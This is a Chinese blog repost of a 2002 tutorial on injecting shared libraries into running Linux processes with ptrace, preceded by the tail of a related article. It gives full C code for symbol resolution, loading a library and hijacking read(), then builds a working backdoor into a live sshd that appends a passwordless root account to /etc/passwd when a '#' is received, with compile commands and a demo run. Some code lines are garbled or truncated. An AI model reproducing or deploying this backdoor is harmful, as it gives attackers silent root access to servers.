class="typ">In</span><span class="pln"> print</span><span class="pun">()</span><span class="pln"></span><span class="typ">Going</span><span class="pln"> to sleep </span><span class="pun">…</span><span class="pln"></span><span class="typ">Waked</span><span class="pln"> up </span><span class="pun">…</span>

9、结论
  在本文中,笔者演示了如何向正在运行于Linux系统上的应用程序注入一个C函数,而不必终止该程序。需要注意的是当前用户必须是被注入的进程的,或者拥有对进程内存处理的相应权限。

 

 

 

共享库注射--injectso实例
作者:grip2 
日期:2002/08/16
内容:
    1 -- 介绍
    2 -- injectso -- 共享库注射技术
    3 -- injectso的工作步骤及实现方法
    4 -- 目标进程调试函数
    5 -- 符号解析函数
    6 -- 一个简单的后门程序
    7 -- 最后
    8 -- 参考文献
一、 ** 介绍
本文介绍的是injectso技术,重点是使用现有技术去实际的完成一个injectso程序,
而不是侧重于理论上的探讨。这里希望你在阅读这篇文章的时候对ELF、inject有一
定的了解,当然你也可以选择在看完本文之后再去翻看相关的资料,也许这样能使你
更有针对性。需要说明的是,下面介绍的技术和给出的函数都是特定于X86下的linux
的,在其它环境下可能有一些需要改变的细节,但从基本的概念和步骤上讲应该是相
同的。
[separator]
二、 ** injectso -- 共享库注射技术
使用injectso技术,我们可以注射共享库到一个运行期进程,这里注射的意思就是通
过某种操作使我们的.so共享库在指定的进程中被装载,这样再配合上函数重定向或
其它技术,我们就可以捕获或改变目标进程的行为,可以做非常多的工作。同其它
inject技术相比,injectso的一些优点是:
1. 简单 -- 仅仅通过C代码就可以完成所有的工作;
2. 扩展性好 -- 在基础代码完成之后,如果要对程序功能进行增加、修改,仅需改动
.so共享库即可;
3. 干净 -- 对目标进程进行注射之后,不需要留下磁盘文件,使用的程序及共享库
都可以删除;
4. 灵活 -- 我们可以使用它完成很多工作,例如:运行期补丁、后门程序等;
5. 目标服务不需要重新启动;
6. 无须改动二进制文件;
7. 可以通过pax, openwall等这样的核心补丁。
三、 ** injectso的工作步骤及实现方法
完成injectso需要以下几个步骤:
1. 关联到目标进程;
2. 发现装载共享库的函数,一般是_dl_open调用,我们将使用它装载我们的.so共享

3. 装载指定的.so;
4. 做我们想做的,一般是通过函数重定向来完成我们需要的功能;
5. 脱离进程;
下面简单介绍一下这几个步骤的实现方法,由于我们是对其它进程进行操作,因此
ptrace这个linux调试API函数将频繁的被我们使用,在中,我将给出一些ptrace
包装函数。
步骤1 -- 关联进程
简单的调用ptrace(PTRACE_ATTACH,...)即可以关联到目标进程,但此后我们还
需调用waitpid()函数等待目标进程暂停,以便我们进行后续操作。详见中给出
的ptrace_attach()函数。
步骤2 -- 发现_dl_open
通过遍历动态连接器使用的link_map结构及其指向的相关链表,我们可以完成
_dl_open的符号解析工作,关于通过link_map解析符号在phrack59包的p59_08(见参
考文献)中有详细的描述。
步骤3 -- 装载.so
    由于在2中我们已经找到_dl_open的地址,所以我们只需将此函数使用的参数添
入相应的寄存器,并将进程的eip指向_dl_open即可,在此过程中还需做一些其它操
作,具体内容见中的call_dl_open和ptrace_call函数。
步骤4 -- 函数重定向
    我们需要做的仅仅是找到相关的函数地址,用新函数替换旧函数,并将旧函数的
地址保存。其中涉及到了PLT和RELOCATION,关于它们的详细内容你应该看ELF规范中
的介绍,在中的函数中有PLT和RELOCATION的相关操作,而且在最后的例子中,
我们将实现函数重定向。关于函数重定向,相关资料很多,这里不再多介绍。
步骤5 -- 脱离进程
简单的调用ptrace(PTRACE_DETACH,...)可以脱离目标进程。
四、** 目标进程调试函数
在linux中,如果我们要调试一个进程,可以使用ptrace API函数,为了使用起来更
方便,我们需要对它进行一些功能上的封装。
在p59_08中作者给出了一些对ptrace进行封装的函数,但是那太少了,在下面我给出
了更多的函数,这足够我们使用了。要注意在这些函数中我并未进行太多的错误检测
,但做为一个例子使用,它已经能很好的工作了,在最后的例子中你将能看到这一点

/* 关联到进程 */
void ptrace_attach(int pid)
{
    if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) e_phoff;
    printf("phdr_addr\t %p\n", phdr_addr);
    ptrace_read(pid, phdr_addr, phdr, sizeof(Elf32_Phdr));
    while(phdr->p_type != PT_DYNAMIC)
        ptrace_read(pid, phdr_addr += sizeof(Elf32_Phdr), phdr,
                                                      sizeof(Elf32_Phdr));
    dyn_addr = phdr->p_vaddr;
    printf("dyn_addr\t %p\n", dyn_addr);
    ptrace_read(pid, dyn_addr, dyn, sizeof(Elf32_Dyn));
    while(dyn->d_tag != DT_PLTGOT) {
        ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
        i++;
    }
    got = (Elf32_Word)dyn->d_un.d_ptr;
    got += 4;
    printf("GOT\t\t %p\n", got);
    ptrace_read(pid, got, &map_addr, 4);
    printf("map_addr\t %p\n", map_addr);
    ptrace_read(pid, map_addr, map, sizeof(struct link_map));
   
    free(ehdr);
    free(phdr);
    free(dyn);
    return map;
}
/*
取得给定link_map指向的SYMTAB、STRTAB、HASH、JMPREL、PLTRELSZ、RELAENT、RELENT信息
这些地址信息将被保存到全局变量中,以方便使用
*/
void get_sym_info(int pid, struct link_map *lm)
{
    Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
    unsigned long dyn_addr;
    dyn_addr = (unsigned long)lm->l_ld;
   
    ptrace_read(pid, dyn_addr, dyn, sizeof(Elf32_Dyn));
    while(dyn->d_tag != DT_NULL){
        switch(dyn->d_tag)
        {
        case DT_SYMTAB:
            symtab = dyn->d_un.d_ptr;
            //puts("DT_SYMTAB");
            break;
        case DT_STRTAB:
            strtab = dyn->d_un.d_ptr;
            //puts("DT_STRTAB");
            break;
        case DT_HASH:
            ptrace_read(pid, dyn->d_un.d_ptr + lm->l_addr + 4,
                                                           &nchains, sizeof(nchains));
            //puts("DT_HASH");
            break;
        case DT_JMPREL:
            jmprel = dyn->d_un.d_ptr;
            //puts("DT_JMPREL");
            break;
        case DT_PLTRELSZ:
            //puts("DT_PLTRELSZ");
            totalrelsize = dyn->d_un.d_val;
            break;
        case DT_RELAENT:
            relsize = dyn->d_un.d_val;
            //puts("DT_RELAENT");
            break;
        case DT_RELENT:
            relsize = dyn->d_un.d_val;
            //puts("DT_RELENT");
            break;
        }
        ptrace_read(pid, dyn_addr += sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
    }
    nrels = totalrelsize / relsize;
    free(dyn);
}
/*
解析指定符号
*/
unsigned long  find_symbol(int pid, struct link_map *map, char *sym_name)
{
    struct link_map *lm = (struct link_map *) malloc(sizeof(struct link_map));
    unsigned long sym_addr;
    char *str;
   
    sym_addr = find_symbol_in_linkmap(pid, map, sym_name);
    if (sym_addr)
        return sym_addr;
    if (!map->l_next) return 0;
    ptrace_read(pid, (unsigned long)map->l_next, lm, sizeof(struct link_map));
    sym_addr = find_symbol_in_linkmap(pid, lm, sym_name);
    while(!sym_addr && lm->l_next) {
        ptrace_read(pid, (unsigned long)lm->l_next, lm, sizeof(struct link_map));
        str = ptrace_readstr(pid, (unsigned long)lm->l_name);
        if(str[0] == '\0')
            continue;
        printf("[%s]\n", str);
        free(str);
        if ((sym_addr = find_symbol_in_linkmap(pid, lm, sym_name)))
            break;
    }
    return sym_addr;
}
/*
在指定的link_map指向的符号表查找符号,它仅仅是被上面的find_symbol使用
*/
unsigned long  find_symbol_in_linkmap(int pid, struct link_map *lm, char *sym_name)
{
    Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
    int i;
    char *str;
    unsigned long ret;
    get_sym_info(pid, lm);
   
    for(i = 0; i st_name || !sym->st_size || !sym->st_value)
            continue;
/*    因为我还要通过此函数解析非函数类型的符号,因此将此处封上了
        if (ELF32_ST_TYPE(sym->st_info) != STT_FUNC)
            continue;
*/
        str = (char *) ptrace_readstr(pid, strtab + sym->st_name);
        if (strcmp(str, sym_name) == 0) {
            free(str);
            str = ptrace_readstr(pid, (unsigned long)lm->l_name);
            printf("lib name [%s]\n", str);
            free(str);
            break;
        }
        free(str);
    }
    if (i == nchains)
        ret = 0;
    else
        ret =  lm->l_addr + sym->st_value;
    free(sym);
    return ret;
}
/* 查找符号的重定位地址 */
unsigned long  find_sym_in_rel(int pid, char *sym_name)
{
    Elf32_Rel *rel = (Elf32_Rel *) malloc(sizeof(Elf32_Rel));
    Elf32_Sym *sym = (Elf32_Sym *) malloc(sizeof(Elf32_Sym));
    int i;
    char *str;
    unsigned long ret;
    get_dyn_info(pid);
    for(i = 0; ir_info)) {
            ptrace_read(pid, symtab + ELF32_R_SYM(rel->r_info) *
                                               sizeof(Elf32_Sym), sym, sizeof(Elf32_Sym));
            str = ptrace_readstr(pid, strtab + sym->st_name);
            if (strcmp(str, sym_name) == 0) {
                free(str);
                break;
            }
            free(str);
        }
    }
    if (i == nrels)
        ret = 0;
    else
        ret =  rel->r_offset;
    free(rel);
    return ret;
}
/*
在进程自身的映象中(即不包括动态共享库,无须遍历link_map链表)获得各种动态信息
*/
void get_dyn_info(int pid)
{
    Elf32_Dyn *dyn = (Elf32_Dyn *) malloc(sizeof(Elf32_Dyn));
    int i = 0;
    ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
    i++;
    while(dyn->d_tag){
        switch(dyn->d_tag)
        {
        case DT_SYMTAB:
            puts("DT_SYMTAB");
            symtab = dyn->d_un.d_ptr;
            break;
        case DT_STRTAB:
            strtab = dyn->d_un.d_ptr;
            //puts("DT_STRTAB");
            break;
        case DT_JMPREL:
            jmprel = dyn->d_un.d_ptr;
            //puts("DT_JMPREL");
            printf("jmprel\t %p\n", jmprel);
            break;
        case DT_PLTRELSZ:
            totalrelsize = dyn->d_un.d_val;
            //puts("DT_PLTRELSZ");
            break;
        case DT_RELAENT:
            relsize = dyn->d_un.d_val;
            //puts("DT_RELAENT");
            break;
        case DT_RELENT:
            relsize = dyn->d_un.d_val;
            //puts("DT_RELENT");
            break;
        }
        ptrace_read(pid, dyn_addr + i * sizeof(Elf32_Dyn), dyn, sizeof(Elf32_Dyn));
        i++;
    }
    nrels = totalrelsize / relsize;
    free(dyn);
}
上面的函数可能较中的复杂了一些,但是它们也是容易理解的,这需要你对ELF
有一定的了解,我无法在这里解释更多的关于ELF内容,最好的和最有效的办法是你
去阅读规范,文后的参考文献中给出了下载地址。
六、** 一个简单的后门程序
有了上面介绍的函数,现在我们可以很容易的编写出injectso程序,下面让我们来写
一个简单后门程序。首先,我们回想一下前面介绍的injectso工作步骤,看看我们是
否已经有足够的辅助函数来完成它。第1步,我们可以调用上面给出的ptrace_attach()
完成。第2步,可以通过find_symbol()找到_dl_open的地址。第3步我们可以调用
ptrace_call()来调用_dl_open,但是要注意_dl_open定义为'internal_function',
这说明它的传递方式是通过寄存器而不是堆栈,这样看来在调用_dl_open之前还需做一
些琐碎的操作,那么我们还是把它封装起来更好。第4步,函数重定向,我们可以通过
符号解析函数和RELOCATION地址获取函数找到新老函数地址,地址都已经找到,那替换
它们只是一个简单的操作了。第5步,仅仅调用ptrace_detach就可以了。OK,看来所有
的步骤我们都可以很轻松的完成了,只有3还需要个小小的封装函数,现在就来完成它:
void call_dl_open(int pid, unsigned long addr, char *libname)
{
    void *pRLibName;
    struct user_regs_struct regs;
    /*
      先找个空间存放要装载的共享库名,我们可以简单的把它放入堆栈
     */
    pRLibName = ptrace_push(pid, libname, strlen(libname) + 1);
    /* 设置参数到寄存器 */
    ptrace_readreg(pid, &regs);
    regs.eax = (unsigned long) pRLibName;
    regs.ecx = 0x0;
    regs.edx = RTLD_LAZY;
    ptrace_writereg(pid, &regs);
    /* 调用_dl_open */
    ptrace_call(pid, addr);
    puts("call _dl_open ok");
}
到这里所有的基础问题都已经解决(只是相对而言,在有些情况下可能需要解决系统
调用或临界区等问题,本文没有涉及,但是我们的程序依然可以很好的执行),现在
需要考虑的我们做一个什么样的后门程序。为了简单,我打算作一个注射SSH服务的
后门程序。我们只需要重定向read调用到我们自己的newread,并在newread中加入对
读取到的内容进行判断的语句,如果发现读到的第一个字节是#号,我们将向/etc/passwd
追加新行"injso::0:0:root:/root:/bin/sh\n",这样我们就有了一个具
有ROOT权限的用户injso,并且不需要登陆密码。根据这个思路来建立我们的.so:
[root@grip2 injectso]# cat so.c
#include 
#include 
ssize_t  (*oldread)(int fd, void *buf, size_t count);
ssize_t  newread(int fd, void *buf, size_t count)
{
    ssize_t ret;
    FILE *fp;
    char ch = '#';   
    ret = oldread(fd, buf, count);   
    if (memcmp(buf, (void *)&ch, 1) == 0) {
        fp = fopen("/etc/passwd", "a");
        fputs("injso::0:0:root:/root:/bin/sh\n", fp);
        fclose(fp);
    }
    return ret;
}
我们来编译它
[root@grip2 injectso]# gcc -shared -o so.so -fPIC so.c -nostdlib
好了,我们已经有了.so,下面就仅剩下main()了,让我们来看看:
[root@grip2 injectso]# cat injso.c
#include 
#include 
#include 
#include "p_elf.h"
#include "p_dbg.h"
int main(int argc, char *argv[])
{
    int pid;
    struct link_map *map;
    char sym_name[256];
    unsigned long sym_addr;
    unsigned long new_addr,old_addr,rel_addr;
    /* 从命令行取得目标进程PID
    pid = atoi(argv[1]);
    /* 关联到目标进程 */
    ptrace_attach(pid);
   
    /* 得到指向link_map链表的指针 */
    map = get_linkmap(pid);                    /* get_linkmap */
    /* 发现_dl_open,并调用它 */
    sym_addr = find_symbol(pid, map, "_dl_open");        /* call _dl_open */
    printf("found _dl_open at addr %p\n", sym_addr);   
    call_dl_open(pid, sym_addr, "/home/grip2/me/so.so");    /* 注意装载的库地址 */   
   
    /* 找到我们的新函数newread的地址 */
    strcpy(sym_name, "newread");                /* intercept */
    sym_addr = find_symbol(pid, map, sym_name);
    printf("%s addr\t %p\n", sym_name, sym_addr);
    /* 找到read的RELOCATION地址 */
    strcpy(sym_name, "read");               
    rel_addr = find_sym_in_rel(pid, sym_name);
    printf("%s rel addr\t %p\n", sym_name, rel_addr);
    /* 找到用于保存read地址的指针 */
    strcpy(sym_name, "oldread");               
    old_addr = find_symbol(pid, map, sym_name);
    printf("%s addr\t %p\n", sym_name, old_addr);
    /* 函数重定向 */
    puts("intercept...");                    /* intercept */
    ptrace_read(pid, rel_addr, &new_addr, sizeof(new_addr));
    ptrace_write(pid, old_addr, &new_addr, sizeof(new_addr));
    ptrace_write(pid, rel_addr, &sym_addr, sizeof(sym_addr));
    puts("injectso ok");
    /* 脱离进程 */
    ptrace_detach(pid);
    exit(0);
}
现在所有的工作都已经做好,你需要的是把上面介绍的函数都写到自己的.c程序文件
中,这样就可以编译了,我们来编译它
[root@grip2 injectso]# gcc -o injso injso.c p_dbg.c p_elf.c -Wall
[root@grip2 injectso]# ls
injso injso.c make p_dbg.c p_dbg.h p_elf.c p_elf.h so.c so.so
ok,启动ssh服务,并开始注射
[root@grip2 injectso]# /usr/sbin/sshd
[root@grip2 injectso]# ps -aux|grep sshd
root       763  0.0  0.4  2676 1268 ?        S    21:46   0:00 /usr/sbin/sshd
root      1567  0.0  0.2  2004  688 pts/0    S    21:57   0:00 grep sshd
[root@grip2 injectso]# ./injso 763
phdr_addr     0x8048034
dyn_addr     0x8084c2c
GOT         0x80847d8
map_addr     0x40016998
[/lib/libdl.so.2]
[/usr/lib/libz.so.1]
[/lib/libnsl.so.1]
[/lib/libutil.so.1]
[/lib/libcrypto.so.2]
[/lib/i686/libc.so.6]
lib name [/lib/i686/libc.so.6]
found _dl_open at addr 0x402352e0
call _dl_open ok
[/lib/libdl.so.2]
[/usr/lib/libz.so.1]
[/lib/libnsl.so.1]
[/lib/libutil.so.1]
[/lib/libcrypto.so.2]
[/lib/i686/libc.so.6]
[/lib/ld-linux.so.2]
[/home/grip2/me/so.so]
lib name [/home/grip2/me/so.so]
newread addr     0x40017574
DT_SYMTAB
jmprel     0x804ac9c
read rel addr     0x8084bc0
[/lib/libdl.so.2]
[/usr/lib/libz.so.1]
[/lib/libnsl.so.1]
[/lib/libutil.so.1]
[/lib/libcrypto.so.2]
[/lib/i686/libc.so.6]
[/lib/ld-linux.so.2]
[/home/grip2/me/so.so]
lib name [/home/grip2/me/so.so]
oldread addr     0x40018764
intercept...
new_addr 0x401fc530
injectso ok
注射成功,测试一下,看看效果,可以在任何机器上telnet被注射机的22端口,
并传送一个#号
$ telnet 127.0.0.1 22
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
SSH-1.99-OpenSSH_2.9p2
#         
八 ** 参考文献
http://packetstormsecurity.nl/mag/phrack/phrack59.tar.gz
http://www.blackhat.com/presentations/bh-europe-01/shaun-clowes/injectso3.ppt
ftp://tsx.mit.edu/pub/linux/packages/GCC/ELF.doc.tar.gz
http://www.big.net.au/~silvio/lib-redirection.txt
http://online.securityfocus.com/data/library/subversiveld.pdf

0 0
原创粉丝点击